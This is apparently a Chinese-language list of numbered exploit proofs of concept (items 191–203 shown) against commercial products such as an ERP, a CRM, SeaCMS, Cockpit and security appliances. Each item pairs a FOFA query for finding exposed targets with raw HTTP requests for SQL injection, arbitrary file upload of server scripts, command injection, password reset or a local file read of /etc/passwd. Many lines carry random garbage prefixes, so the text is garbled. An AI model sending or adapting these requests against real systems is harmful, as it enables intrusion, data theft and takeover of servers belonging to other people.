User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
& R# X4 g( o  wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd


1 `' t: w/ h* k0 t191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
% U$ i% ^) [; p8 A4 vFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
0 n$ l' j+ q% ~/ Z" |2 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
  G3 P5 P8 h( I, N

3 z) e! o$ e  E- C7 ]2 \/ O! \192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
/ k' c$ N( w# Z: B' x2 `( R# h6 m) JFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
, a  a" k) j* u: k9 IHost: your-ip
9 ]: u+ h# E  jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
! X3 O+ A) p5 n; x+ f" XContent-Type: application/x-www-form-urlencoded


. g% O+ J1 L* W1 T3 H- X<% @ webhandler language="C#" class="AverageHandler" %>
using System;
( ~7 Y" F/ B, \6 I3 t4 b4 s# lusing System.Web;
public class AverageHandler : IHttpHandler
% v* ^  M/ Y! O$ j{
7 _9 b# y& A9 `public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
& E# K. n  L7 \8 h1 ^' x) J, Wctx.Response.Write("test");
9 r- [" E) x% [8 z# R/ J* N}
}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
. p6 z4 F' u  t5 {  B$ vGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
- y7 [& V+ W  k9 ?$ I! z' mUser-Agent: Mozilla/5.0


POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
! {/ a+ C$ V+ i7 v' @User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
. b. p/ X7 Q% x+ eAccept: */*
4 `, w5 u) e5 R3 }7 VConnection: close
1 ~# Q$ [7 d% H) I4 ^" PCookie: PHPSESSID=2333333333333;
$ [; V* |* p8 ^9 o" J) t/ j1 BContent-Type: application/x-www-form-urlencoded
Content-Length: 84
6 I7 ~2 a7 `" w  D3 m2 n# r
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


GET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0


5 |0 c( x+ n) Q7 \* u9 ~0 c" `194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
, q% e$ y4 r7 k* L8 r
$ h% z8 |% [9 e" M6 VPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
- K4 ~* ^; M3 w) ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& k' t1 X4 Y: [* j7 X% O7 r5 dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
! l% R# S  ~- JConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
  ]! z( P( z" w8 A' F/ K
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
: K5 V+ G6 V) P) \* Q; O7 e. s------WebKitFormBoundaryKNt0t4vBe8cX9rZk
- I# ?- W' c9 u# }. m8 MContent-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
) g& q4 t$ d2 ?2 n" e9 U3 E------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

( A& K: f6 Q6 W9 V: w
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
4 n0 I# ^3 T7 u4 UPOST /send_order.cgi?parameter=operation HTTP/1.1
8 E; J1 [' A+ j+ j, T' NHost: 127.0.0.1
& J2 p$ U+ D3 zPragma: no-cache
- @5 I7 e+ G; p2 l. iCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
5 K) i! f, r* W& B$ xAccept: */*
4 _* U( P9 x( e) M1 \, s: @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 `' t  m4 R, b) L0 D& FConnection: close
3 \1 k) V! j- @$ H: A, ^Content-Type: application/x-www-form-urlencoded
% W& S5 |# Y0 j0 sContent-Length: 68
. ?7 t7 Q8 s- Y# ?+ P
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
& Z! J8 Q* I; R

196. 河南省风速科技统一认证平台密码重置
1 S: f. M- Y) G+ a' IFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
8 W4 b0 j- U% P& v7 PHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
: h7 k' E8 M. s" O7 A, s+ ~& A8 V3 WConnection: close

2 h8 T: f5 s, x# d{"xgh":"test","newPass":"test666","email":""}
( b, M' i( J: V
; K! D" P1 [  x

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
8 }+ W$ d1 v  @0 q  m# O, KFOFA：app="浙大恩特客户资源管理系统"
, h" _% R  ?3 u7 AGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
9 r' ~% ?; o5 I3 B; C3 ?Host:
" \. W  i  e1 `% |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
: t3 D& g3 a/ @4 b9 V9 S$ z: Z1 e: N


198.  阿里云盘 WebDAV 命令注入
5 u2 j7 B7 k2 M& T, |. gCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
4 w) n9 N# X) t) q7 b! _7 f4 HAccept: */*
: h* R+ ~2 R& m' G! VAccept-Encoding: gzip, deflate
% g2 |; m/ p5 R  Q8 UAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
: e: y; Y+ |8 q* }$ ?

199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

  n9 T) [2 A  ]# e* F响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：
0 J' {4 B0 H0 V$ G$ [5 w# M
4 }6 i. v$ }# p* `) ]5 pPOST /auth/check HTTP/1.1
1 O1 Z4 Z, L* q" SContent-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
+ n! h" H  I+ ~3 R1 C) O
响应：200，返回值:
/ a* p& x2 i8 G; dSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
2 l$ a1 p. u5 BFofa：title="Authenticate Please!"
, G1 U/ p* X' _POST /assetsmanager/upload HTTP/1.1
8 ~6 V/ U/ N, T& c4 N6 pContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
, H' `+ X: n$ A7 TCookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
; m/ u2 ?: O5 u6 l0 ]Content-Disposition: form-data; name="files[]"; filename="tttt.php"
" A/ |6 z9 p( ?5 o2 EContent-Type: text/php

9 T: W, t% j! U<?php echo "tttt";unlink(__FILE__);?>
  e( S9 q; p, ?6 ?-----------------------------36D28FBc36bd6feE7Fb3
# j2 K6 n2 J3 L- dContent-Disposition: form-data; name="folder"

" s) r5 l; O5 x5 i% \-----------------------------36D28FBc36bd6feE7Fb3--

) U. T) |  Q% z. f
' W4 d% E9 \# v8 K/storage/uploads/tttt.php
+ Z' H( G0 ~0 `! L$ @4 U5 m
0 `( @: L0 S8 V# h4 ~200. SeaCMS海洋影视管理系统dmku SQL注入
& S8 s) M- r5 \- }% RFOFA：app="海洋CMS"
0 @: H* s! k6 X5 t1 U, QGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
3 f& Y0 R4 B4 @/ ?  tUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
% w2 n5 D  M7 fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

1 @# P0 V, f8 t9 S: F
) @6 }$ L! t# `0 S; I, e- }201. 方正全媒体新闻采编系统 binary SQL注入
+ a3 H$ Q. M$ L0 i0 @FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 Q* I& b4 v# b1 y# PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4 ~; J5 ?8 m9 h+ l3 v
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
7 c/ C$ D8 E# x( f! Z# e
2 Z/ u* O+ N( g- s+ F9 c, j
202. 微擎系统 AccountEdit任意文件上传
' \: Y! L9 `* w: M* G8 `' s) C  R& e" hFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
) t3 n9 a: O- N& ~8 ^$ m, J4 dContent-Length: 0

1 p. I/ ~# q, n/ e8 n7 H9 O
, h3 N% p, h" s, d替换__VIEWSTATE和__EVENTVALIDATION值
% D8 ~- n7 c, v9 H. OPOST /User/AccountEdit.aspx HTTP/1.1
" i3 C0 }0 W8 [Accept-Encoding: gzip, deflate, br
7 C" E( v% w; a4 BContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

7 ^. g! s' q% V-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
! X% O3 f! \0 m# O. U0 K& m
__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
% z. d+ G' |: i$ UContent-Disposition: form-data; name="__EVENTVALIDATION"
) g/ K3 o, S+ u* M8 J! D$ G
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
+ A# [' X) z. f* o, MContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

( R1 U1 r4 _& L; ?& b8 dHello World!
* l' r$ x+ g: A2 u; e-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

0 e! a+ R7 _3 t5 `& z+ E上传图片
- {; U/ V: c' [! e7 b-----------------------------786435874t38587593865736587346567358735687
; V/ |8 R& e6 b: b8 w7 }Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
6 ], O) S" l8 w0 T2 W" Z2 o. O
. j. E8 ^' \" b% @( u9 C
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

: J0 @& }3 A$ Z1 K. Q: ~
-----------------------------786435874t38587593865736587346567358735687--
  {, _% e6 a/ D6 n" Z' R

' d" |) S% e" J' a  h5 Y/_data/Uploads/1123.txt

4 V. i7 e  x$ g+ N. n: k203. 红海云EHR PtFjk 文件上传
2 @6 w$ _3 F+ y) M' `9 ~FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
# D0 O5 n4 c8 l$ f4 n, `9 \Host: x.x.x.x
- ^% V* b  N# V3 \4 bAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 \! s6 u3 `( O. @! y$ h" K/ ZContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
/ m% t8 z7 ^, H6 ~' i1 OContent-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
; O& H5 G/ r) G# z  F* UContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
+ y) z" z& G7 A* {Content-Type:image/jpeg

# `2 J3 @" n( Z, v# Y<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

" b' R7 `, J( U) g! \7 a



6 {- H3 k, f8 j$ ^/ _" r
; f- `3 F& Q0 n2 T4 S  Z